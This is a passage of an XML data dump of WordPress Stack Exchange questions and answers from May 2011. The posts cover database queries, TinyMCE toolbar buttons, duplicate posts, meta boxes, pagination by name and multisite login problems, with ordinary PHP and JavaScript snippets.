site.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-30T14:07:58.223" CommentCount="1" />
  <row Id="18717" PostTypeId="1" CreationDate="2011-05-30T14:13:35.930" Score="1" ViewCount="65" Body="&lt;p&gt;I've got a custom database table with lots of data that I'd like to query several times from a custom template file I've built. Say the db table looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;id     name     city          zip&#xA;23     Mike     New York      123&#xA;54     Peter    Los Angeles   456&#xA;78     Steven   Chicago       789&#xA;79     Tom      Los Angeles   450&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I want to run at least four queries, looking kinda like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM table LIMIT $paginated,10 (this is presenting all of the names)&#xA;SELECT id,city FROM table GROUP BY city (this will be a dropdown list of all the citys)&#xA;SELECT zip FROM table WHERE city = &quot;New York&quot; GROUP BY zip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's only three queries but anyway - is it more effective to just run one big query with all of the data into an array, and then just loop that array whenever needed, or is it better to perform actual db queries?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using $wpdb-&gt;get_results for every query of course, is this harder for the server to work with? I mean, using WP code to perform DB queries should result in more PHP code for the compiler to translate, am I wrong?&lt;/p&gt;&#xA;" OwnerUserId="1936" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-05-30T14:21:53.360" LastActivityDate="2011-05-30T14:45:58.837" Title="Most effective use of DB querys" Tags="&lt;query&gt;&lt;wpdb&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="18718" PostTypeId="2" ParentId="18717" CreationDate="2011-05-30T14:45:58.837" Score="2" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;$wpdb&lt;/code&gt; object &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class&quot; rel=&quot;nofollow&quot;&gt;is based on ezSQL&lt;/a&gt;, it does not add much overhead, so I would not worry about that. Opening a second connection to the database yourself will probably lead to more overhead than using the &lt;code&gt;$wpdb&lt;/code&gt; functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The three queries you have described are ideal queries to do in the database (a small result set from a large dataset), so you should not emulate them in PHP. Be sure to add some indexes to the table to speed the queries up (one on &lt;code&gt;city&lt;/code&gt; at least). Use the &lt;code&gt;EXPLAIN&lt;/code&gt; feature of MySQL to know what the database is doing to execute your query and how you can help it.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-30T14:45:58.837" CommentCount="1" />
  <row Id="18719" PostTypeId="1" AcceptedAnswerId="18728" CreationDate="2011-05-30T14:46:07.680" Score="6" ViewCount="174" Body="&lt;p&gt;I'm trying to add a custom button or two to the TinyMCE rich text editor. The tutorials I've seen so far are either outdated or explain how to do it with a custom plugin. How can I do this without creating a plugin, perhaps in the &lt;code&gt;functions.php&lt;/code&gt; file instead? To be specific, I want to add a &quot;h2&quot; button that will add in a &lt;code&gt;&amp;lt;h2&amp;gt;&amp;lt;/h2&amp;gt;&lt;/code&gt; into the body.&lt;/p&gt;&#xA;" OwnerUserId="4268" LastActivityDate="2011-05-30T19:53:37.767" Title="Add button to TinyMCE bar without creating a plugin" Tags="&lt;customization&gt;&lt;tinymce&gt;&lt;buttons&gt;" AnswerCount="1" FavoriteCount="5" />
  <row Id="18720" PostTypeId="1" CreationDate="2011-05-30T14:47:31.873" Score="0" ViewCount="121" Body="&lt;p&gt;I'm getting a really strange bug (WP 3.1.3). My goal is to have users create a new post simply by landing on a single post. In order to make that happen, I have the following code in my single.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    //-- Set up post values&#xA;    $myPost = array(&#xA;        'post_status' =&amp;gt; 'publish',&#xA;        'post_type' =&amp;gt; 'post',&#xA;        'post_author' =&amp;gt; 2,&#xA;        'post_title' =&amp;gt; 'e3i8ir',&#xA;        'comment_status' =&amp;gt; 'closed',&#xA;        'ping_status' =&amp;gt; 'closed',&#xA;        'post_category' =&amp;gt; array(24),&#xA;    );&#xA;&#xA;    //-- Create the new post&#xA;    $newPostID = wp_insert_post($myPost);&#xA;&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By all rights, this should just insert one record, right? When I use this function, however, it creates TWO posts, exactly alike.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the page, the_content only displays once, so it's not like the page is displaying multiple times (and therefore causing two wp_insert_post calls).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any ideas what would cause this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;--eric&lt;/p&gt;&#xA;" OwnerUserId="5808" LastActivityDate="2011-08-29T10:34:06.497" Title="How to prevent duplicate posts with wp_insert_post on single.php?" Tags="&lt;posts&gt;&lt;wp-insert-post&gt;&lt;post-duplication&gt;" AnswerCount="3" FavoriteCount="0" />
  <row Id="18721" PostTypeId="2" ParentId="18707" CreationDate="2011-05-30T14:53:01.153" Score="1" ViewCount="" Body="&lt;p&gt;There's also a free plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/xcloner-backup-and-restore/&quot; rel=&quot;nofollow&quot;&gt;XCloner&lt;/a&gt; which does a very thorough job of duplicating a full site (database, all supporting files, etc.). It's a little involved and therefore overkill for small sites, but for sites where the out-of-the-box WordPress export/import isn't enough, it does the trick.&lt;/p&gt;&#xA;" OwnerUserId="5808" LastActivityDate="2011-05-30T14:53:01.153" />
  <row Id="18722" PostTypeId="2" ParentId="18653" CreationDate="2011-05-30T15:11:51.093" Score="1" ViewCount="" Body="&lt;p&gt;I don't know of any free ones, though I'm sure they're out there, but themeforest has a fair number of single page templates (the quality of which I can't speak to).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://themeforest.net/browse/tags/default/single%20page&quot; rel=&quot;nofollow&quot;&gt;http://themeforest.net/browse/tags/default/single%20page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1340" LastActivityDate="2011-05-30T15:11:51.093" />
  <row Id="18723" PostTypeId="2" ParentId="18693" CreationDate="2011-05-30T15:16:02.090" Score="1" ViewCount="" Body="&lt;p&gt;It's not an expected behavior for the plugin, though I could make the link something more generic. In the meantime, you can manually change the code on your CatListDisplayer.php file, search for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    private function get_post_title($single, $tag = null, $css_class = null){&#xA;    return '&amp;lt;a href=&quot;' . get_permalink($single-&amp;gt;ID).'&quot;&amp;gt;' . $single-&amp;gt;post_title . '&amp;lt;/a&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remove the &lt;strong&gt;a&lt;/strong&gt; tag, and leave just this:&lt;code&gt;return $single-&amp;gt;post_title;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will return just the post title, though this doesn't give you the link to the post anywhere. Is this what you need?&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-05-30T15:16:02.090" CommentCount="2" />
  <row Id="18724" PostTypeId="1" CreationDate="2011-05-30T15:20:20.440" Score="0" ViewCount="83" Body="&lt;p&gt;Suddenly, while I was working, the admin bar (that by default appears at the top) has appeared on the bottom of the page and it is unstyled, it is simply a list of links one below the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked both header.php and footer.php and all seems to be at the right place (wp_head() and wo_footer()).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the last stable version of WordPress (3.1.3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4766" LastActivityDate="2011-05-30T17:03:26.347" Title="WP Admin Bar shown at the bottom" Tags="&lt;admin-bar&gt;" AnswerCount="2" />
  <row Id="18725" PostTypeId="1" CreationDate="2011-05-30T15:28:47.300" Score="8" ViewCount="213" Body="&lt;p&gt;I have two custom post types that deal with people's names.  Right now, in browsing views, it just lists them all alphabetically and the pagination breaks them down by numbers, which isn't terribly helpful when you're trying to find a specific person. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, I've been asked to create pagination links for people that look like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A-G &lt;/li&gt;&#xA;&lt;li&gt;H-M &lt;/li&gt;&#xA;&lt;li&gt;N-Q &lt;/li&gt;&#xA;&lt;li&gt;R-Q&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My problem - I can't figure out how I can query the custom post types by the first letter of one field.  Then, I'm not sure how I can go about creating the pagination in this way.  Does anybody have any suggestions? Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2355" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-30T18:28:37.430" LastActivityDate="2011-08-17T18:11:16.800" Title="Custom pagination for custom post types (by names)" Tags="&lt;custom-post-types&gt;&lt;pagination&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="7" />
  <row Id="18726" PostTypeId="2" ParentId="18724" CreationDate="2011-05-30T15:33:07.140" Score="1" ViewCount="" Body="&lt;p&gt;The admin bar's markup is added to the bottom of the page by default.  Then the admin bar is moved to the top of the page using CSS.  There are a couple of different reasons for this, but they're not important at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the sounds of things, your browser just isn't loading the admin bar's stylesheet.  I'd recommend trying the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Reloading the page with CTRL+F5 to force the browser to refresh the cache&lt;/li&gt;&#xA;&lt;li&gt;Use Firebug or some other kind of debugging tool to make sure &lt;code&gt;/wp-includes/css/admin-bar.css&lt;/code&gt; is referenced by the page and loading correctly&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Without knowing exactly what you changed while you were working and without seeing your actual site, this is the best I can recommend ...&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-05-30T15:33:07.140" />
  <row Id="18727" PostTypeId="2" ParentId="18675" CreationDate="2011-05-30T15:43:53.223" Score="0" ViewCount="" Body="&lt;p&gt;Here is the code of my plugin, to add a post meta. The problems are :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;after some tests, i figured out that only the &quot;older&quot; posts &quot;copy&quot; the post meta, but not the newest ones. So let's say it is not the main problem i have. (if you have an explanation for this, i'll take it though ;) )&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the main problem is now : if i update a meta, it doesn't update it but create a new meta, for the same post_id, same meta_key, and thus same meta_value.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm using here the function &quot;save&quot; from the tutorial (above).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        add_action( 'add_meta_boxes', 'myplugin_add_custom_box' );&#xA;        add_action( 'save_post', 'myplugin_save_postdata' );&#xA;&#xA;        /* Adds a box to the main column on the Post and Page edit screens */&#xA;        function myplugin_add_custom_box() {&#xA;            add_meta_box(&#xA;                'test1',&#xA;                __( 'Author : ', 'myplugin_textdomain' ),&#xA;                'myplugin_inner_custom_box',&#xA;                'post'&#xA;            );&#xA;            add_meta_box(&#xA;                'test2',&#xA;                __( 'My test2', 'myplugin_textdomain' ),&#xA;                'myplugin_inner_custom_box',&#xA;                'movies'&#xA;            );&#xA;        }&#xA;&#xA;&#xA;        /* Prints the box content */&#xA;        function myplugin_inner_custom_box() {&#xA;            global $post;&#xA;            echo '&amp;lt;input type=&quot;hidden&quot; name=&quot;eventmeta_noncename&quot; id=&quot;eventmeta_noncename&quot; value=&quot;' .&#xA;            wp_create_nonce( plugin_basename(__FILE__) ) . '&quot; /&amp;gt;';&#xA;&#xA;            $met = get_post_meta($post-&amp;gt;ID, 'champ', true)? get_post_meta($post-&amp;gt;ID, 'champ', true) : 'empty meta';&#xA;&#xA;            /* input */&#xA;            echo '&amp;lt;label for=&quot;myplugin_new_field&quot;&amp;gt;';&#xA;            _e(&quot;Author name : &quot;, 'myplugin_textdomain' );&#xA;            echo '&amp;lt;/label&amp;gt; ';&#xA;            echo '&amp;lt;input type=&quot;text&quot; id=&quot;champ&quot; name=&quot;champ&quot; value=&quot;'.$met.'&quot; /&amp;gt;';&#xA;            /* select list */&#xA;            echo '&amp;lt;label for=&quot;my_list_field&quot;&amp;gt;';&#xA;            _e(&quot;Already in database : &quot;, 'myplugin_textdomain' );&#xA;            echo '&amp;lt;/label&amp;gt; ';&#xA;            echo '&amp;lt;select name=&quot;my_list_field&quot; id=&quot;my_list_field&quot;&amp;gt;';&#xA;            global $post;&#xA;&#xA;            $s_query = new WP_Query( array(&#xA;            'suppress_filters' =&amp;gt; false,&#xA;            'post_type' =&amp;gt; 'movies'));&#xA;            while($s_query-&amp;gt;have_posts()):$s_query-&amp;gt;the_post();&#xA;&#xA;                $sname = $post-&amp;gt;post_title;&#xA;                $s_output2 ='';&#xA;                $s_output2 .= '&amp;lt;option value=&quot;'.$post-&amp;gt;ID.'&quot; &amp;gt;';&#xA;                $s_output2 .= $post-&amp;gt;post_title.' : allo';&#xA;                $s_output2 .= '&amp;lt;/option&amp;gt;';&#xA;                echo $s_output2;&#xA;&#xA;            endwhile ;&#xA;            echo '&amp;lt;/select&amp;gt;';&#xA;            wp_reset_query();&#xA;        }&#xA;&#xA;&#xA;        // Save the Metabox Data&#xA;        function wpt_save_events_meta($post_id, $post) {&#xA;&#xA;            if ( !wp_verify_nonce( $_POST['eventmeta_noncename'], plugin_basename(__FILE__) )) {&#xA;            return $post-&amp;gt;ID;&#xA;            }&#xA;            if ( !current_user_can( 'edit_post', $post-&amp;gt;ID ))&#xA;                return $post-&amp;gt;ID;&#xA;            $events_meta['champ'] = $_POST['champ'];&#xA;            foreach ($events_meta as $key =&amp;gt; $value) { // Cycle through the $events_meta array!&#xA;                $value = implode(',', (array)$value); // If $value is an array, make it a CSV (unlikely)&#xA;                if(get_post_meta($post-&amp;gt;ID, $key, FALSE)) { // If the custom field already has a value&#xA;                    update_post_meta($post-&amp;gt;ID, $key, $value);&#xA;                } else { // If the custom field doesn't have a value&#xA;                    add_post_meta($post-&amp;gt;ID, $key, $value);&#xA;                }&#xA;                if(!$value) delete_post_meta($post-&amp;gt;ID, $key); // Delete if blank&#xA;            }&#xA;        }&#xA;&#xA;        add_action('save_post', 'wpt_save_events_meta', 1, 2); // save the custom fields&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5644" LastActivityDate="2011-05-30T15:43:53.223" />
  <row Id="18728" PostTypeId="2" ParentId="18719" CreationDate="2011-05-30T15:58:19.713" Score="7" ViewCount="" Body="&lt;p&gt;It is almost code golf, but this is the smallest piece of code that I could up with that will create a button on the Visual editor to turn the current paragraph in a &lt;code&gt;&amp;lt;h2&amp;gt;&lt;/code&gt; block.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'tiny_mce_before_init', 'wpse18719_tiny_mce_before_init' );&#xA;function wpse18719_tiny_mce_before_init( $initArray )&#xA;{&#xA;    $initArray['setup'] = &amp;lt;&amp;lt;&amp;lt;JS&#xA;[function(ed) {&#xA;    ed.addButton('h2', {&#xA;        title : 'H2',&#xA;        image : 'img/example.gif',&#xA;        onclick : function() {&#xA;            ed.formatter.toggle( 'h2' );&#xA;        }&#xA;    });&#xA;}][0]&#xA;JS;&#xA;    return $initArray;&#xA;}&#xA;&#xA;add_filter( 'mce_buttons', 'wpse18719_mce_buttons' );&#xA;function wpse18719_mce_buttons( $mce_buttons )&#xA;{&#xA;    $mce_buttons[] = 'h2';&#xA;    return $mce_buttons;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is based on &lt;a href=&quot;http://tinymce.moxiecode.com/tryit/custom_toolbar_button.php&quot; rel=&quot;nofollow&quot;&gt;a TinyMCE code sample&lt;/a&gt; and uses a trick to pass a function as the &lt;code&gt;setup&lt;/code&gt; variable (&lt;a href=&quot;http://core.trac.wordpress.org/ticket/15596&quot; rel=&quot;nofollow&quot;&gt;which will not be needed in 3.2 anymore&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add a button to the HTML editor you can extend the much simpler &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/js/quicktags.dev.js&quot; rel=&quot;nofollow&quot;&gt;&quot;quicktags&quot; code&lt;/a&gt; by enqueuing this extra Javascript file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery( function( $ ) {&#xA;    var h2Idx = edButtons.length;&#xA;    edButtons[h2Idx] = new edButton(&#xA;        'ed_h2'  // id&#xA;        ,'h2'    // display&#xA;        ,'&amp;lt;h2&amp;gt;'  // tagStart&#xA;        ,'&amp;lt;/h2&amp;gt;' // tagEnd&#xA;        ,'2'     // access&#xA;    );&#xA;    var h2Button = $( '&amp;lt;input type=&quot;button&quot; id=&quot;ed_h2&quot; accesskey=&quot;2&quot; class=&quot;ed_button&quot; value=&quot;h2&quot;&amp;gt;' );&#xA;    h2Button.click( function() {&#xA;        edInsertTag( edCanvas, h2Idx );&#xA;    } );&#xA;    // Insert it anywhere you want. This is after the &amp;lt;i&amp;gt; button&#xA;    h2Button.insertAfter( $( '#ed_em' ) );&#xA;    // This is at the end of the toolbar&#xA;    // h2Button.appendTo( $( '#ed_toolbar' ) );&#xA;} );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-30T19:53:37.767" LastActivityDate="2011-05-30T19:53:37.767" CommentCount="4" />
  <row Id="18729" PostTypeId="1" CreationDate="2011-05-30T16:31:07.450" Score="1" ViewCount="76" Body="&lt;p&gt;Has anyone used the &lt;strong&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/google-analytics-dashboard/&quot; rel=&quot;nofollow&quot;&gt;Google Analytics for Dashboard&lt;/a&gt;&lt;/strong&gt; plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've installed it successfully, but whenever I try to link it to my Google Account using the Start Login Process button, I keep getting a weird message that goes like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Timestamp is too far from current time: &amp;lt;a Unix timestamp here&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using WordPress 3.1.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what's happening here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;br&gt;&#xA;m^e&lt;/p&gt;&#xA;" OwnerUserId="5195" LastActivityDate="2011-06-01T09:23:36.340" Title="Plugin: Google Analytics for Dashboard error - Timestamp is too far from current time" Tags="&lt;plugins&gt;&lt;errors&gt;&lt;login&gt;&lt;dashboard&gt;&lt;google-analytics&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="18730" PostTypeId="1" AcceptedAnswerId="18754" CreationDate="2011-05-30T16:49:40.283" Score="0" ViewCount="44" Body="&lt;p&gt;I installed a Wordpress plugin and I'm getting the following error. The weird thing is I checked the plugins' source and I really don't understand why it would need those scripts.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[30-May-2011 11:10:03] PHP Warning: PHP Startup: Unable to load dynamic library '/usr/lib/php/extensions/no-debug-non-zts-20060613/eaccelerator.so' - /usr/lib/php/extensions/no-debug-non-zts-20060613/eaccelerator.so: cannot open shared object file: No such file or directory in Unknown on line 0 [30-May-2011 11:10:03] PHP Warning: PHP Startup: Unable to load dynamic library '/usr/lib/php/extensions/no-debug-non-zts-20060613/ffmpeg.so' - /usr/lib/php/extensions/no-debug-non-zts-20060613/ffmpeg.so: cannot open shared object file: No such file or directory in Unknown on line 0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is the plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/upprev-nytimes-style-next-post-jquery-animated-fly-in-button/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/upprev-nytimes-style-next-post-jquery-animated-fly-in-button/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5810" LastEditorUserId="5810" LastEditorDisplayName="" LastEditDate="2011-05-30T17:06:34.833" LastActivityDate="2011-05-30T21:12:36.270" Title="eaccelerator PHP error" Tags="&lt;plugins&gt;&lt;php&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="18731" PostTypeId="2" ParentId="18724" CreationDate="2011-05-30T17:03:26.347" Score="0" ViewCount="" Body="&lt;p&gt;There's probably a CSS or JS conflict. Try deactivating the plugins one by one and see if it works. &lt;/p&gt;&#xA;" OwnerUserId="5810" LastActivityDate="2011-05-30T17:03:26.347" />
  <row Id="18732" PostTypeId="1" AcceptedAnswerId="18753" CreationDate="2011-05-30T17:17:01.723" Score="1" ViewCount="86" Body="&lt;p&gt;I'm dynamically creating a custom post type in code (not in the editor) and I have an image I want to attach to my custom post type as a post thumbnail, and have it resized, etc. How do I do that. I'm successfully creating the custom post type using wp_insert_post().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at wp_save_image(), wp_save_image_file(), load_image_to_edit(), get_attached_file() and others, but they all seem to require an image in $_POST. I also looked at wp_insert_attachment() and update_attached_file() which seemed promising, but were not image centric.&lt;/p&gt;&#xA;" OwnerUserId="4229" LastActivityDate="2011-05-30T21:12:09.740" Title="how to attach an image to a custom post type in wordpress using just code" Tags="&lt;images&gt;&lt;code&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="18733" PostTypeId="2" ParentId="18725" CreationDate="2011-05-30T17:24:34.840" Score="0" ViewCount="" Body="&lt;p&gt;This is not so much an answer, but more a pointer to a direction to take. This will probably have to be 100% custom - and will be very involved. You'll need to create a custom sql query (using the wpdb classs) and then for pagination you'll pass these parameters to your custom query. You'll probably need to also create new rewrite rules for this as well. Some functions to look into:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_tag( '%byletter%', '([^/]+)');&#xA;add_permastruct( 'byletter', 'byletter' . '/%byletter%' );&#xA;$wp_rewrite-&amp;gt;flush_rules();&#xA;paginate_links()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4229" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-31T07:07:51.357" LastActivityDate="2011-05-31T07:07:51.357" />
  <row Id="18734" PostTypeId="2" ParentId="18732" CreationDate="2011-05-30T17:24:39.817" Score="0" ViewCount="" Body="&lt;p&gt;Unfortunately I don't think you can with wp_insert_post, but you can add the images' URL in the custom field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;update_post_meta( $post_id,'image_url',$image_url);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5810" LastActivityDate="2011-05-30T17:24:39.817" />
  <row Id="18735" PostTypeId="2" ParentId="18720" CreationDate="2011-05-30T17:27:37.957" Score="0" ViewCount="" Body="&lt;p&gt;try putting your script in a function and running it during an action hook. perhaps the wp_footer hook. &lt;/p&gt;&#xA;" OwnerUserId="4229" LastActivityDate="2011-05-30T17:27:37.957" />
  <row Id="18736" PostTypeId="1" AcceptedAnswerId="18740" CreationDate="2011-05-30T17:58:30.467" Score="1" ViewCount="75" Body="&lt;p&gt;I have around 140 post in database but wordpress admin page shows just 50 post. How could I let wordpress shows all the posts in database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5814" LastActivityDate="2011-05-30T20:54:49.017" Title="Wordpress doesn't show all posts in database" Tags="&lt;database&gt;&lt;wordpress.org&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="18737" PostTypeId="2" ParentId="18603" CreationDate="2011-05-30T18:01:04.253" Score="1" ViewCount="" Body="&lt;p&gt;Final version of code used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function fb_comment_count($link = 'link') {&#xA;global $post;&#xA;$url = 'https://graph.facebook.com/';&#xA;$posturl = get_permalink($post-&amp;gt;ID);&#xA;$url .= $posturl;&#xA;&#xA;$filecontent = wp_remote_retrieve_body(wp_remote_get($url, array('sslverify'=&amp;gt;false)));&#xA;$json = json_decode($filecontent);&#xA;$count = $json-&amp;gt;comments;&#xA;if ($count == 0 || !isset($count)) {&#xA;    $count = 0;&#xA;}&#xA;&#xA;$comments = $count;&#xA;if ($count == 1) {&#xA;    $comments .= ' Comment';&#xA;}&#xA;elseif ($count == 0) {&#xA;    $comments = 'Leave a Comment';&#xA;}&#xA;elseif ($count &amp;gt; 1) {&#xA;    $comments .= ' Comments';&#xA;}&#xA;if ($link == 'nolink') {&#xA;    echo $comments;&#xA;}&#xA;else {&#xA;    echo '&amp;lt;a href=&quot;'.$posturl.'#comments&quot; title=&quot;Comments for '.$post-&amp;gt;post_title.'&quot;&amp;gt;'.$comments.'&amp;lt;/a&amp;gt;';&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4949" LastActivityDate="2011-05-30T18:01:04.253" CommentCount="2" />
  <row Id="18738" PostTypeId="1" CreationDate="2011-05-30T18:22:33.167" Score="1" ViewCount="157" Body="&lt;p&gt;I've just installed a fresh WordPress setup on Windows Server 2008 Web R2 (IIS7) with SQL Server Express and WordPress 3.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I completed the install successfully and logged into the admin section to start the activation of the WordPress network (using sub-domains). Having edited the wp-config file, I added the code WordPress generated to both wp-config (Network specific) and web.config (Rewrites). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since adding these changes, each time I try to login to WordPress, I just get loop'd straight back to the login page. I've tried to following so far:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Comment out the network specific changes in wp-config and revert the rewrite rules to standard WordPress ones (Didn't work).&lt;/li&gt;&#xA;&lt;li&gt;Checked IIS Admin for any re-writes already in place (None)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Details of wp-config and web.config below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp-config:&#xA;define('WP_ALLOW_MULTISITE', true);&#xA;&#xA;define( 'MULTISITE', true );&#xA;define( 'SUBDOMAIN_INSTALL', true );&#xA;$base = '/';&#xA;define( 'DOMAIN_CURRENT_SITE', 'svr-web-csrms' );&#xA;define( 'PATH_CURRENT_SITE', '/' );&#xA;define( 'SITE_ID_CURRENT_SITE', 1 );&#xA;define( 'BLOG_ID_CURRENT_SITE', 1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;web.config: &lt;a href=&quot;http://pastebin.com/8xctXizE&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/8xctXizE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I have had a thought. From reading this &lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note that per the Settings Requirements you cannot switch from Sub-folder to Sub-domain &gt;when running on 127.0.0.1 or localhost. This can potentially cause an endless loop of &gt;reauth=1 on your root site due to cookie handling.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I may have an issue due to the fact I am using an internal address. I'll set WordPress up with a proper domain and come back.&lt;/p&gt;&#xA;" OwnerUserId="578" LastEditorUserId="578" LastEditorDisplayName="" LastEditDate="2011-05-30T18:34:18.973" LastActivityDate="2011-05-30T18:34:18.973" Title="WordPress Network on IIS7/SQL Server - Rewrite Issues" Tags="&lt;url-rewriting&gt;&lt;network&gt;&lt;rewrite-rules&gt;&lt;iis&gt;" />
  <row Id="18740" PostTypeId="2" ParentId="18736" CreationDate="2011-05-30T18:37:53.073" Score="2" ViewCount="" Body="&lt;p&gt;Are you sure those aren't pages, drafts, trashed, revisions or attachments ?&#xA;run this in PHPMYAdmin and see how many results you get&#xA;&lt;code&gt;select * from wp_posts where post_status='publish'&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5810" LastActivityDate="2011-05-30T18:37:53.073" CommentCount="3" />
